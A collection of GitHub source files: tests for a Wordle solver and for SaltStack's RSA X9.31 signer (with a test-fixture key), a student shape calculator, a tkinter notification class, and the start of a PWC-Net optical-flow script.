+{"seq_id":"5272326728","text":"import os\nfrom pathlib import Path\nfrom unittest.mock import MagicMock, patch\n\nimport pytest\n\nfrom doddle import Doddle, factory\nfrom doddle.benchmarking import Benchmark, Benchmarker, SimulBenchmarker\nfrom doddle.game import SimultaneousGame\nfrom doddle.tree import GuessNode, TreeBuilder\nfrom doddle.words import Word\n\nfrom .fake_dictionary import load_test_dictionary\n\n\nclass TestDoddle:\n    @patch.object(factory, \"load_dictionary\")\n    def test_doddle_with_trivial_solve(self, patch_load_dictionary: MagicMock) -> None:\n        # Arrange\n        patch_load_dictionary.return_value = load_test_dictionary()\n\n        sut = Doddle()\n\n        # Act\n        scoreboard = sut(answer=\"SNAKE\", guess=[\"RAISE\", \"SNACK\", \"BRAKE\"])\n\n        # Assert\n        assert len(scoreboard.rows) == 4\n\n    @patch.object(factory, \"load_dictionary\")\n    def test_doddle_with_trivial_simul_solve(self, patch_load_dictionary: MagicMock) -> None:\n        # Arrange\n        patch_load_dictionary.return_value = load_test_dictionary()\n\n        sut = Doddle()\n\n        # Act\n        scoreboard = sut(answer=[\"SNAKE\", \"FLACK\"], guess=[\"FLAME\", \"SNACK\", \"BRAKE\"])\n        scoreboards = scoreboard.many()\n\n        # Assert\n        assert len(scoreboards) == 2\n        assert len(scoreboards[0]) == 4\n        assert len(scoreboards[1]) == 5\n\n    @patch.object(factory, \"load_dictionary\")\n    def test_doddle_with_null_answer(self, patch_load_dictionary: MagicMock) -> None:\n        # Arrange\n        patch_load_dictionary.return_value = load_test_dictionary()\n\n        sut = Doddle(size=5, solver_type=\"MINIMAX\")\n\n        # Act + Assert\n        with pytest.raises(TypeError):\n            sut(answer=None)\n\n    @patch.object(factory, \"load_dictionary\")\n    def test_doddle_with_incorrect_answer_size(self, patch_load_dictionary: MagicMock) -> None:\n        # Arrange\n        patch_load_dictionary.return_value = load_test_dictionary()\n\n        sut = Doddle(size=5, solver_type=\"ENTROPY\")\n\n        # Act + Assert\n        with pytest.raises(ValueError):\n            sut(answer=\"SNAKES\", guess=[\"RAISE\", \"SNACK\", \"BRAKE\"])\n\n    @patch.object(factory, \"load_dictionary\")\n    def test_doddle_with_incorrect_guess_size(self, patch_load_dictionary: MagicMock) -> None:\n        # Arrange\n        patch_load_dictionary.return_value = load_test_dictionary()\n\n        sut = Doddle(size=5, solver_type=\"ENTROPY\")\n\n        # Act + Assert\n        with pytest.raises(ValueError):\n            sut(answer=\"LIGHT\", guess=[\"RAISED\", \"SNACKS\", \"BRAKES\"])\n\n    @patch.object(factory, \"load_dictionary\")\n    def test_doddle_with_unknown_soln_word(self, patch_load_dictionary: MagicMock) -> None:\n        # Arrange\n        patch_load_dictionary.return_value = load_test_dictionary()\n\n        sut = Doddle(size=5, solver_type=\"ENTROPY\")\n\n        # Act + Assert\n        with pytest.raises(ValueError):\n            sut(answer=\"QXZWJ\", guess=[\"RAISE\", \"SNACK\", \"BRAKE\"])\n\n    @patch.object(factory, \"load_dictionary\")\n    def test_doddle_with_unknown_guess_word(self, patch_load_dictionary: MagicMock) -> None:\n        # Arrange\n        patch_load_dictionary.return_value = load_test_dictionary()\n\n        sut = Doddle(size=5, solver_type=\"ENTROPY\")\n\n        # Act + Assert\n        with pytest.raises(ValueError):\n            sut(answer=\"TOWER\", guess=[\"RAISE\", \"QXZWJ\", \"BRAKE\"])\n\n    @patch.object(Benchmarker, \"run_benchmark\")\n    @patch.object(factory, \"load_dictionary\")\n    def test_benchmark(self, patch_load_dictionary: MagicMock, patch_run_benchmark: MagicMock) -> None:\n\n        # Arrange\n        expected = Benchmark([], {}, [])\n        patch_run_benchmark.return_value = expected\n        patch_load_dictionary.return_value = load_test_dictionary()\n\n        sut = Doddle(size=5, solver_type=\"ENTROPY\")\n\n        # Act\n        actual = sut.benchmark(\"CRATE\")\n\n        # Assert\n        assert actual == expected\n        patch_run_benchmark.assert_called_once_with([Word(\"CRATE\")])\n\n    @patch.object(SimulBenchmarker, \"run_benchmark\")\n    @patch.object(factory, \"load_dictionary\")\n    def test_simul_benchmark(\n        self, patch_load_dictionary: MagicMock, patch_run_benchmark: MagicMock\n    ) -> None:\n\n        # Arrange\n        expected: list[SimultaneousGame] = []\n        patch_run_benchmark.return_value = expected\n        patch_load_dictionary.return_value = load_test_dictionary()\n\n        sut = Doddle(size=5, solver_type=\"ENTROPY\")\n\n        # Act\n        actual = sut.simul_benchmark(4, 5_000, [\"PARSE\", \"CLINT\"])\n\n        # Assert\n        assert actual == expected\n        patch_run_benchmark.assert_called_once_with([Word(\"PARSE\"), Word(\"CLINT\")], 4, 5_000)\n\n    @patch.object(GuessNode, \"csv\")\n    @patch.object(factory, \"load_dictionary\")\n    @patch.object(TreeBuilder, \"build\")\n    def test_build_tree(\n        self, patch_build: MagicMock, patch_load_dictionary: MagicMock, patch_csv: MagicMock\n    ) -> None:\n\n        # Arrange\n        directory = Path(os.path.dirname(__file__))\n        path = directory / \"wordle_bot_file.txt\"\n        with open(path, \"r\") as file:\n            mock_csv = file.read()\n\n        patch_csv.return_value = mock_csv\n        patch_load_dictionary.return_value = load_test_dictionary()\n        patch_build.return_value = GuessNode(Word(\"SALET\"))\n\n        sut = Doddle(size=5, solver_type=\"ENTROPY\")\n\n        # Act\n        actual = sut.tree_search()\n\n        # Assert\n        assert len(actual.scoreboards) == 100\n","repo_name":"CatchemAL/Doddle","sub_path":"tests/test_facade.py","file_name":"test_facade.py","file_ext":"py","file_size_in_byte":5410,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"}
+{"seq_id":"12855393684","text":"\"\"\"\nTest the RSA ANSI X9.31 signer and verifier\n\"\"\"\n\nimport ctypes\nimport ctypes.util\nimport fnmatch\nimport glob\nimport os\nimport platform\nimport sys\n\nimport pytest\n\nimport salt.utils.platform\nfrom salt.utils.rsax931 import (\n    RSAX931Signer,\n    RSAX931Verifier,\n    _find_libcrypto,\n    _load_libcrypto,\n)\nfrom tests.support.mock import patch\n\n\n@pytest.fixture\ndef privkey_data():\n    return (\n        \"-----BEGIN RSA PRIVATE KEY-----\\n\"\n        \"MIIEpAIBAAKCAQEA75GR6ZTv5JOv90Vq8tKhKC7YQnhDIo2hM0HVziTEk5R4UQBW\\n\"\n        \"a0CKytFMbTONY2msEDwX9iA0x7F5Lgj0X8eD4ZMsYqLzqjWMekLC8bjhxc+EuPo9\\n\"\n        \"Dygu3mJ2VgRC7XhlFpmdo5NN8J2E7B/CNB3R4hOcMMZNZdi0xLtFoTfwU61UPfFX\\n\"\n        \"14mV2laqLbvDEfQLJhUTDeFFV8EN5Z4H1ttLP3sMXJvc3EvM0JiDVj4l1TWFUHHz\\n\"\n        \"eFgCA1Im0lv8i7PFrgW7nyMfK9uDSsUmIp7k6ai4tVzwkTmV5PsriP1ju88Lo3MB\\n\"\n        \"4/sUmDv/JmlZ9YyzTO3Po8Uz3Aeq9HJWyBWHAQIDAQABAoIBAGOzBzBYZUWRGOgl\\n\"\n        \"IY8QjTT12dY/ymC05GM6gMobjxuD7FZ5d32HDLu/QrknfS3kKlFPUQGDAbQhbbb0\\n\"\n        \"zw6VL5NO9mfOPO2W/3FaG1sRgBQcerWonoSSSn8OJwVBHMFLG3a+U1Zh1UvPoiPK\\n\"\n        \"S734swIM+zFpNYivGPvOm/muF/waFf8tF/47t1cwt/JGXYQnkG/P7z0vp47Irpsb\\n\"\n        \"Yjw7vPe4BnbY6SppSxscW3KoV7GtJLFKIxAXbxsuJMF/rYe3O3w2VKJ1Sug1VDJl\\n\"\n        \"/GytwAkSUer84WwP2b07Wn4c5pCnmLslMgXCLkENgi1NnJMhYVOnckxGDZk54hqP\\n\"\n        \"9RbLnkkCgYEA/yKuWEvgdzYRYkqpzB0l9ka7Y00CV4Dha9Of6GjQi9i4VCJ/UFVr\\n\"\n        \"UlhTo5y0ZzpcDAPcoZf5CFZsD90a/BpQ3YTtdln2MMCL/Kr3QFmetkmDrt+3wYnX\\n\"\n        \"sKESfsa2nZdOATRpl1antpwyD4RzsAeOPwBiACj4fkq5iZJBSI0bxrMCgYEA8GFi\\n\"\n        \"qAjgKh81/Uai6KWTOW2kX02LEMVRrnZLQ9VPPLGid4KZDDk1/dEfxjjkcyOxX1Ux\\n\"\n        \"Klu4W8ZEdZyzPcJrfk7PdopfGOfrhWzkREK9C40H7ou/1jUecq/STPfSOmxh3Y+D\\n\"\n        \"ifMNO6z4sQAHx8VaHaxVsJ7SGR/spr0pkZL+NXsCgYEA84rIgBKWB1W+TGRXJzdf\\n\"\n        \"yHIGaCjXpm2pQMN3LmP3RrcuZWm0vBt94dHcrR5l+u/zc6iwEDTAjJvqdU4rdyEr\\n\"\n        \"tfkwr7v6TNlQB3WvpWanIPyVzfVSNFX/ZWSsAgZvxYjr9ixw6vzWBXOeOb/Gqu7b\\n\"\n        \"cvpLkjmJ0wxDhbXtyXKhZA8CgYBZyvcQb+hUs732M4mtQBSD0kohc5TsGdlOQ1AQ\\n\"\n        \"McFcmbpnzDghkclyW8jzwdLMk9uxEeDAwuxWE/UEvhlSi6qdzxC+Zifp5NBc0fVe\\n\"\n        \"7lMx2mfJGxj5CnSqQLVdHQHB4zSXkAGB6XHbBd0MOUeuvzDPfs2voVQ4IG3FR0oc\\n\"\n        \"3/znuwKBgQChZGH3McQcxmLA28aUwOVbWssfXKdDCsiJO+PEXXlL0maO3SbnFn+Q\\n\"\n        \"Tyf8oHI5cdP7AbwDSx9bUfRPjg9dKKmATBFr2bn216pjGxK0OjYOCntFTVr0psRB\\n\"\n        \"CrKg52Qrq71/2l4V2NLQZU40Dr1bN9V+Ftd9L0pvpCAEAWpIbLXGDw==\\n\"\n        \"-----END RSA PRIVATE KEY-----\"\n    )\n\n\n@pytest.fixture\ndef pubkey_data():\n    return (\n        \"-----BEGIN PUBLIC KEY-----\\n\"\n        \"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA75GR6ZTv5JOv90Vq8tKh\\n\"\n        \"KC7YQnhDIo2hM0HVziTEk5R4UQBWa0CKytFMbTONY2msEDwX9iA0x7F5Lgj0X8eD\\n\"\n        \"4ZMsYqLzqjWMekLC8bjhxc+EuPo9Dygu3mJ2VgRC7XhlFpmdo5NN8J2E7B/CNB3R\\n\"\n        \"4hOcMMZNZdi0xLtFoTfwU61UPfFX14mV2laqLbvDEfQLJhUTDeFFV8EN5Z4H1ttL\\n\"\n        \"P3sMXJvc3EvM0JiDVj4l1TWFUHHzeFgCA1Im0lv8i7PFrgW7nyMfK9uDSsUmIp7k\\n\"\n        \"6ai4tVzwkTmV5PsriP1ju88Lo3MB4/sUmDv/JmlZ9YyzTO3Po8Uz3Aeq9HJWyBWH\\n\"\n        \"AQIDAQAB\\n\"\n        \"-----END PUBLIC KEY-----\"\n    )\n\n\n@pytest.fixture\ndef hello_world():\n    return b\"hello, world\"\n\n\n@pytest.fixture\ndef hello_world_sig():\n    return (\n        b\"\\x63\\xa0\\x70\\xd2\\xe4\\xd4\\x6b\\x8a\\xa2\\x59\\x27\\x5f\\x00\\x69\"\n        b\"\\x1e\\x3c\\x50\\xed\\x50\\x13\\x09\\x80\\xe3\\x47\\x4e\\x14\\xb5\\x7c\"\n        b\"\\x07\\x26\\x4e\\x20\\x74\\xea\\x0e\\xf8\\xda\\xff\\x1e\\x57\\x8c\\x67\"\n        b\"\\x76\\x73\\xaa\\xea\\x0f\\x0a\\xe7\\xa2\\xe3\\x88\\xfc\\x09\\x87\\x36\"\n        b\"\\x01\\x3a\\xb7\\x4c\\x40\\xe0\\xf4\\x54\\xc5\\xf1\\xaa\\xb2\\x1d\\x7f\"\n        b\"\\xb6\\xd3\\xa8\\xdd\\x28\\x69\\x8b\\x88\\xe4\\x42\\x1e\\x48\\x3e\\x1f\"\n        b\"\\xe2\\x2b\\x3c\\x7c\\x85\\x11\\xe9\\x59\\xd7\\xf3\\xc2\\x21\\xd3\\x55\"\n        b\"\\xcb\\x9c\\x3c\\x93\\xcc\\x20\\xdf\\x64\\x81\\xd0\\x0d\\xbf\\x8e\\x8d\"\n        b\"\\x47\\xec\\x1d\\x9e\\x27\\xec\\x12\\xed\\x8b\\x5f\\xd6\\x1d\\xec\\x8d\"\n        b\"\\x77\\x5a\\x58\\x8a\\x24\\xb6\\x0f\\x12\\xb7\\x51\\xef\\x7d\\x85\\x0f\"\n        b\"\\x49\\x39\\x02\\x81\\x15\\x08\\x70\\xd6\\xe0\\x0b\\x31\\xff\\x5f\\xf9\"\n        b\"\\xd1\\x92\\x38\\x59\\x8c\\x22\\x9c\\xbb\\xbf\\xcf\\x85\\x34\\xe2\\x47\"\n        b\"\\xf5\\xe2\\xaa\\xb4\\x62\\x33\\x3c\\x13\\x78\\x33\\x87\\x08\\x9e\\xb5\"\n        b\"\\xbc\\x5d\\xc1\\xbf\\x79\\x7c\\xfa\\x5f\\x06\\x6a\\x3b\\x17\\x40\\x09\"\n        b\"\\xb9\\x09\\xbf\\x32\\xc3\\x00\\xe2\\xbc\\x91\\x77\\x14\\xa5\\x23\\xf5\"\n        b\"\\xf5\\xf1\\x09\\x12\\x38\\xda\\x3b\\x6a\\x82\\x81\\x7b\\x5e\\x1c\\xcb\"\n        b\"\\xaa\\x36\\x9b\\x08\\x36\\x03\\x14\\x96\\xa3\\x31\\x39\\x59\\x16\\x75\"\n        b\"\\xc9\\xb6\\x66\\x94\\x1b\\x97\\xff\\xc8\\xa1\\xe3\\x21\\x35\\x23\\x06\"\n        b\"\\x4c\\x9b\\xf4\\xee\"\n    )\n\n\ndef test_signer(privkey_data, pubkey_data, hello_world, hello_world_sig):\n    with pytest.raises(ValueError):\n        signer = RSAX931Signer(\"bogus key data\")\n    with pytest.raises(ValueError):\n        signer = RSAX931Signer(pubkey_data)\n\n    signer = RSAX931Signer(privkey_data)\n    with pytest.raises(ValueError):\n        signer.sign(\"x\" * 255)  # message too long\n\n    sig = signer.sign(hello_world)\n    assert hello_world_sig == sig\n\n\ndef test_verifier(privkey_data, pubkey_data, hello_world, hello_world_sig):\n    with pytest.raises(ValueError):\n        verifier = RSAX931Verifier(\"bogus key data\")\n    with pytest.raises(ValueError):\n        verifier = RSAX931Verifier(privkey_data)\n\n    verifier = RSAX931Verifier(pubkey_data)\n    with pytest.raises(ValueError):\n        verifier.verify(\"\")\n    with pytest.raises(ValueError):\n        verifier.verify(hello_world_sig + b\"junk\")\n\n    msg = verifier.verify(hello_world_sig)\n    assert hello_world == msg\n\n\n@pytest.mark.skip_unless_on_windows\ndef test_find_libcrypto_win32():\n    \"\"\"\n    Test _find_libcrypto on Windows hosts.\n    \"\"\"\n    lib_path = _find_libcrypto()\n    assert \"libcrypto\" in lib_path\n\n\n@pytest.mark.skip_unless_on_smartos\ndef test_find_libcrypto_smartos():\n    \"\"\"\n    Test _find_libcrypto on a SmartOS host.\n    \"\"\"\n    lib_path = _find_libcrypto()\n    assert fnmatch.fnmatch(\n        lib_path, os.path.join(os.path.dirname(sys.executable), \"libcrypto*\")\n    )\n\n\n@pytest.mark.skip_unless_on_sunos\ndef test_find_libcrypto_sunos():\n    \"\"\"\n    Test _find_libcrypto on a Solaris-like host.\n    \"\"\"\n    lib_path = _find_libcrypto()\n    passed = False\n    for i in (\"/opt/local/lib/libcrypto.so*\", \"/opt/tools/lib/libcrypto.so*\"):\n        if fnmatch.fnmatch(lib_path, i):\n            passed = True\n            break\n    assert passed\n\n\n@pytest.mark.skip_unless_on_aix\ndef test_find_libcrypto_aix():\n    \"\"\"\n    Test _find_libcrypto on an IBM AIX host.\n    \"\"\"\n    lib_path = _find_libcrypto()\n    if os.path.isdir(\"/opt/salt/lib\"):\n        assert fnmatch.fnmatch(lib_path, \"/opt/salt/lib/libcrypto.so*\")\n    else:\n        assert fnmatch.fnmatch(lib_path, \"/opt/freeware/lib/libcrypto.so*\")\n\n\ndef test_find_libcrypto_with_system_before_catalina():\n    \"\"\"\n    Test _find_libcrypto on a pre-Catalina macOS host by simulating not\n    finding any other libcryptos and verifying that it defaults to system.\n    \"\"\"\n    with patch.object(salt.utils.platform, \"is_darwin\", lambda: True), patch.object(\n        platform, \"mac_ver\", lambda: (\"10.14.2\", (), \"\")\n    ), patch.object(glob, \"glob\", lambda _: []), patch.object(\n        sys, \"platform\", \"macosx\"\n    ):\n        lib_path = _find_libcrypto()\n        assert lib_path == \"/usr/lib/libcrypto.dylib\"\n\n\ndef test_find_libcrypto_darwin_catalina():\n    \"\"\"\n    Test _find_libcrypto on a macOS Catalina host where there are no custom\n    libcryptos and defaulting to the versioned system libraries.\n    \"\"\"\n    available = [\n        \"/usr/lib/libcrypto.0.9.7.dylib\",\n        \"/usr/lib/libcrypto.0.9.8.dylib\",\n        \"/usr/lib/libcrypto.35.dylib\",\n        \"/usr/lib/libcrypto.41.dylib\",\n        \"/usr/lib/libcrypto.42.dylib\",\n        \"/usr/lib/libcrypto.44.dylib\",\n        \"/usr/lib/libcrypto.dylib\",\n    ]\n\n    def test_glob(pattern):\n        return [lib for lib in available if fnmatch.fnmatch(lib, pattern)]\n\n    with patch.object(salt.utils.platform, \"is_darwin\", lambda: True), patch.object(\n        platform, \"mac_ver\", lambda: (\"10.15.2\", (), \"\")\n    ), patch.object(sys, \"platform\", \"macosx\"), patch.object(glob, \"glob\", test_glob):\n        lib_path = _find_libcrypto()\n    assert \"/usr/lib/libcrypto.44.dylib\" == lib_path\n\n\ndef test_find_libcrypto_darwin_bigsur_packaged():\n    \"\"\"\n    Test _find_libcrypto on a Darwin-like macOS host where there isn't a\n    lacation returned by ctypes.util.find_library() and the libcrypto\n    installation comes from a package manager (ports, brew, salt).\n    \"\"\"\n    managed_paths = {\n        \"salt\": \"/opt/salt/lib/libcrypto.dylib\",\n        \"brew\": \"/test/homebrew/prefix/opt/openssl/lib/libcrypto.dylib\",\n        \"port\": \"/opt/local/lib/libcrypto.dylib\",\n    }\n\n    saved_getenv = os.getenv\n\n    def mock_getenv(env):\n        def test_getenv(var, default=None):\n            return env.get(var, saved_getenv(var, default))\n\n        return test_getenv\n\n    def mock_glob(expected_lib):\n        def test_glob(pattern):\n            if fnmatch.fnmatch(expected_lib, pattern):\n                return [expected_lib]\n            return []\n\n        return test_glob\n\n    with patch.object(salt.utils.platform, \"is_darwin\", lambda: True), patch.object(\n        platform, \"mac_ver\", lambda: (\"11.2.2\", (), \"\")\n    ), patch.object(sys, \"platform\", \"macosx\"):\n        for package_manager, expected_lib in managed_paths.items():\n            if package_manager == \"brew\":\n                env = {\"HOMEBREW_PREFIX\": \"/test/homebrew/prefix\"}\n            else:\n                env = {\"HOMEBREW_PREFIX\": \"\"}\n            with patch.object(os, \"getenv\", mock_getenv(env)):\n                with patch.object(glob, \"glob\", mock_glob(expected_lib)):\n                    lib_path = _find_libcrypto()\n\n            assert expected_lib == lib_path\n\n        # On Big Sur, there's nothing else to fall back on.\n        with patch.object(glob, \"glob\", lambda _: []):\n            with pytest.raises(OSError):\n                lib_path = _find_libcrypto()\n\n\ndef test_find_libcrypto_unsupported():\n    \"\"\"\n    Ensure that _find_libcrypto works correctly on an unsupported host OS.\n    \"\"\"\n    with patch.object(ctypes.util, \"find_library\", lambda a: None), patch.object(\n        glob, \"glob\", lambda a: []\n    ), patch.object(sys, \"platform\", \"unknown\"), patch.object(\n        salt.utils.platform, \"is_darwin\", lambda: False\n    ), pytest.raises(\n        OSError\n    ):\n        _find_libcrypto()\n\n\ndef test_load_libcrypto():\n    \"\"\"\n    Test _load_libcrypto generically.\n    \"\"\"\n    lib = _load_libcrypto()\n    assert isinstance(lib, ctypes.CDLL)\n    # Try to cover both pre and post OpenSSL 1.1.\n    assert (\n        hasattr(lib, \"OpenSSL_version_num\")\n        or hasattr(lib, \"OPENSSL_init_crypto\")\n        or hasattr(lib, \"OPENSSL_no_config\")\n    )\n\n\ndef test_find_libcrypto_darwin_onedir():\n    \"\"\"\n    Test _find_libcrypto on a macOS\n    libcryptos and defaulting to the versioned system libraries.\n    \"\"\"\n    available = [\n        \"/usr/lib/libcrypto.0.9.7.dylib\",\n        \"/usr/lib/libcrypto.0.9.8.dylib\",\n        \"/usr/lib/libcrypto.35.dylib\",\n        \"/usr/lib/libcrypto.41.dylib\",\n        \"/usr/lib/libcrypto.42.dylib\",\n        \"/usr/lib/libcrypto.44.dylib\",\n        \"/test/homebrew/prefix/opt/openssl/lib/libcrypto.dylib\",\n        \"/opt/local/lib/libcrypto.dylib\",\n        \"lib/libcrypto.dylib\",\n    ]\n\n    def test_glob(pattern):\n        return [lib for lib in available if fnmatch.fnmatch(lib, pattern)]\n\n    with patch.object(glob, \"glob\", test_glob), patch.object(\n        salt.utils.platform, \"is_darwin\", lambda: True\n    ), patch.object(platform, \"mac_ver\", lambda: (\"10.15.2\", (), \"\")), patch.object(\n        sys, \"platform\", \"macosx\"\n    ):\n        lib_path = _find_libcrypto()\n    assert \"lib/libcrypto.dylib\" == lib_path\n","repo_name":"saltstack/salt","sub_path":"tests/pytests/unit/utils/test_rsax931.py","file_name":"test_rsax931.py","file_ext":"py","file_size_in_byte":11564,"program_lang":"python","lang":"en","doc_type":"code","stars":13606,"dataset":"github-code","pt":"78"}
+{"seq_id":"23560259509","text":"# Welcome to The Area Perimeter Calculator\n\n# ***** Functions ***** \n\n# Num Check\ndef num_check(question):\n\n    error = \"Please enter a number that is more than zero\"\n\n    valid = False\n    while not valid:\n        try:\n            response = float(input(question))\n\n            if response <= 0:\n                print(error)\n            else:\n                return response\n\n        except ValueError:\n            print(error)\n\n# Not Blank goes here\ndef not_blank(question):\n\n    valid = False\n    while not valid:\n        response = input(question)\n\n        if response == \"\":\n            continue\n        else:\n            return response\n\n# String checking Function\ndef string_checker(question, to_check):\n    valid = False\n    while not valid:\n\n        response = input(question).lower()\n\n        if response in to_check:\n            return response\n\n        else:\n            for item in to_check:\n                # checks if response is the first letter of an item in the list\n                if response == item[0]:\n                    # note: returns the entire response rather than just the first letter\n                    return item\n\n        print(\"sorry that is not a valid response\")\n\n# Instructions\ndef instructions():\n    print(\"****** Welcome to the Fund Raising Calculator ******\")\n\n    first_time = input(\"\\nHave you used this program before? \")\n\n    if first_time == \"yes\":\n        return \"\"\n\n    print()\n    print(\"***** Instructions ******\")\n    print()\n    print(\"This program will ask you for...\")\n    print(\"- The name of the shape you want to chose\")\n    print(\"- It will ask for the height, base or other sides depending on shape\")\n    print()\n    print(\"The program will print out the area and perimeter for the shape you chose.\")\n    print()\n\n\ninstructions()\n\n# Main Routine Starts Here\ncalculation_history = []\n\nkeep_going = \"\"\nwhile keep_going == \"\":\n\n  calcuation_row = []\n\n  shape_name = string_checker(\"What is the shape name? \", [\"xxx\", \"square\", \"circle\", \"triangle\", \"rectangle\"])\n\n  if shape_name.lower() == \"xxx\":\n    break\n\n  units = not_blank(\"What is your measurement? \")\n\n  # calculations for each shape\n\n  # Circle\n  if shape_name == \"circle\":\n    radius = num_check(\"What is the radius? \")\n\n    # Area of a circle\n    # noinspection PyUnboundLocalVariable\n    area = 3.14 * radius ** 2\n    perimeter = 2 * 3.14 * radius\n\n    # Print Statements\n    print(\"The area of your circle is {}\". format(area))\n    print('The perimeter of your circle is {}'.format(perimeter))\n\n  elif shape_name == \"square\":\n      height = num_check(\"What is your side length?\")\n\n      # Area of a Square\n      # noinspection PyUnboundLocalVariable\n      area = height ** 2\n      perimeter = height * 4\n\n      # Print Statements\n      print(\"The area of your square is {}\". format(area))\n      print(\"The perimeter of your square is {}\".format(perimeter))\n\n  # Rectangle\n  elif shape_name == \"rectangle\":\n      height = num_check(\"What is your height?\")\n      base = num_check(\"What is your base?\")\n\n      # Area of a Rectangle\n      # noinspection PyUnboundLocalVariable\n      area = height * base\n      perimeter = 2 * (height * base)\n\n      # Print statements\n      print(\"The area of your rectangle is {}\".format(area))\n      print(\"The perimeter of your rectangle is {}\".format(perimeter))\n\n  calcuation_row.append(shape_name)\n  calcuation_row.append(area)\n  calcuation_row.append(perimeter)\n\n  calculation_history.append(calcuation_row)\n\n\n\nfor item in calculation_history:\n  print(\"{}: Area:{} {}^2 Perimeter: {} {}\".format(item[0], item[1], units, item[2], units,))\n","repo_name":"massey-high-school/2020-91896-7-assessment-Benboi24","sub_path":"GK_SkeletonV2.py","file_name":"GK_SkeletonV2.py","file_ext":"py","file_size_in_byte":3594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"25968715912","text":"import tkinter as tk\n\nclass NotificationScript:\n    window = None\n    label = None\n\n    def __init__(self,windowName) -> None:\n        self.windowName = windowName\n\n    #method to init a GUI\n    def setGUI(self):\n        self.window = tk.Tk(className=self.windowName)\n        self.window.geometry(\"400x200\")\n        return self\n\n    #method to set a message in the GUI\n    def setScriptMessage(self,message):     \n        self.label = tk.Label(\n            text= message,\n            foreground=\"white\",  # Set the text color to white\n            background=\"black\",  # Set the background color to black\n            width=200,\n            height=200,\n            font=(\"Arial\", 10)             \n        )\n        return self\n\n    #method to set a version in the GUI\n    def setScriptVersion(self,text):\n        label = tk.Label(self.window,text = text,\n            foreground=\"white\",  # Set the text color to white\n            background=\"black\", )\n        label.place(\n            relx = 1.0,\n            rely = 1.0,\n            anchor ='se')\n        return self\n    \n    #method to display the GUI\n    def displayAlertGUI(self):\n        self.label.pack()\n        self.window.mainloop() \n","repo_name":"donado10/MyModules","sub_path":"NotificationScript.py","file_name":"NotificationScript.py","file_ext":"py","file_size_in_byte":1190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"44471751918","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport torch\n\nimport getopt\nimport math\nimport numpy\nimport argparse\nimport os, sys\nimport PIL\nimport PIL.Image\nfrom utils import *\n\ntry:\n\tfrom .correlation import correlation # the custom cost volume layer\nexcept:\n\tsys.path.insert(0, './correlation'); import correlation # you should consider upgrading python\n# end\n\n\"\"\nassert(int(str('').join(torch.__version__.split('.')[0:2])) >= 13) # requires at least pytorch version 1.3.0\n\ntorch.set_grad_enabled(False) # make sure to not compute gradients for computational performance\n\ntorch.backends.cudnn.enabled = True # make sure to use cudnn for computational performance\n\n# +\n\"\"\n\n# Argument\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--model\", default='network-default.pytorch', type=str, help=\"model path\")\nparser.add_argument(\"--in_dir\", default='./data/input', type=str, help=\"input data folder name\")\nparser.add_argument(\"--out_dir\", default='./data', type=str, help=\"root folder name to store output\")\nparser.add_argument(\"--grayscale\", action='store_true', default=False, help=\"grayscale trigger / default is color image\")\n\nargs = parser.parse_args()\n\nmodel_path = args.model\nin_dir = args.in_dir\nout_dir = args.out_dir\ngrayscale = args.grayscale\n\nos.makedirs('%s'%out_dir, exist_ok=True)\nos.makedirs('%s/Forward'%out_dir, exist_ok=True)\nos.makedirs('%s/Backward'%out_dir, exit_ok=True)\n\n\n# +\n# end\n# -\n\n\"\"\nbackwarp_tenGrid = {}\nbackwarp_tenPartial = {}\n\ndef backwarp(tenInput, tenFlow):\n\tif str(tenFlow.size()) not in backwarp_tenGrid:\n\t\ttenHorizontal = torch.linspace(-1.0, 1.0, tenFlow.shape[3]).view(1, 1, 1, tenFlow.shape[3]).expand(tenFlow.shape[0], -1, tenFlow.shape[2], -1)\n\t\ttenVertical = torch.linspace(-1.0, 1.0, tenFlow.shape[2]).view(1, 1, tenFlow.shape[2], 1).expand(tenFlow.shape[0], -1, -1, tenFlow.shape[3])\n\n\t\tbackwarp_tenGrid[str(tenFlow.size())] = torch.cat([ tenHorizontal, tenVertical ], 1).cuda()\n\t# end\n\n\tif str(tenFlow.size()) not in backwarp_tenPartial:\n\t\tbackwarp_tenPartial[str(tenFlow.size())] = tenFlow.new_ones([ tenFlow.shape[0], 1, tenFlow.shape[2], tenFlow.shape[3] ])\n\t# end\n\n\ttenFlow = torch.cat([ tenFlow[:, 0:1, :, :] / ((tenInput.shape[3] - 1.0) / 2.0), tenFlow[:, 1:2, :, :] / ((tenInput.shape[2] - 1.0) / 2.0) ], 1)\n\ttenInput = torch.cat([ tenInput, backwarp_tenPartial[str(tenFlow.size())] ], 1)\n\n\ttenOutput = torch.nn.functional.grid_sample(input=tenInput, grid=(backwarp_tenGrid[str(tenFlow.size())] + tenFlow).permute(0, 2, 3, 1), mode='bilinear', padding_mode='zeros', align_corners=True)\n\n\ttenMask = tenOutput[:, -1:, :, :]; tenMask[tenMask > 0.999] = 1.0; tenMask[tenMask < 1.0] = 0.0\n\n\treturn tenOutput[:, :-1, :, :] * tenMask\n# end\n\n\"\"\nclass Network(torch.nn.Module):\n\tdef __init__(self):\n\t\tsuper(Network, self).__init__()\n\n\t\tclass Extractor(torch.nn.Module):\n\t\t\tdef __init__(self):\n\t\t\t\tsuper(Extractor, self).__init__()\n\n\t\t\t\tself.netOne = torch.nn.Sequential(\n\t\t\t\t\ttorch.nn.Conv2d(in_channels=3, out_channels=16, kernel_size=3, stride=2, padding=1),\n\t\t\t\t\ttorch.nn.LeakyReLU(inplace=False, negative_slope=0.1),\n\t\t\t\t\ttorch.nn.Conv2d(in_channels=16, out_channels=16, kernel_size=3, stride=1, padding=1),\n\t\t\t\t\ttorch.nn.LeakyReLU(inplace=False, negative_slope=0.1),\n\t\t\t\t\ttorch.nn.Conv2d(in_channels=16, out_channels=16, kernel_size=3, stride=1, padding=1),\n\t\t\t\t\ttorch.nn.LeakyReLU(inplace=False, negative_slope=0.1)\n\t\t\t\t)\n\n\t\t\t\tself.netTwo = torch.nn.Sequential(\n\t\t\t\t\ttorch.nn.Conv2d(in_channels=16, out_channels=32, kernel_size=3, stride=2, padding=1),\n\t\t\t\t\ttorch.nn.LeakyReLU(inplace=False, 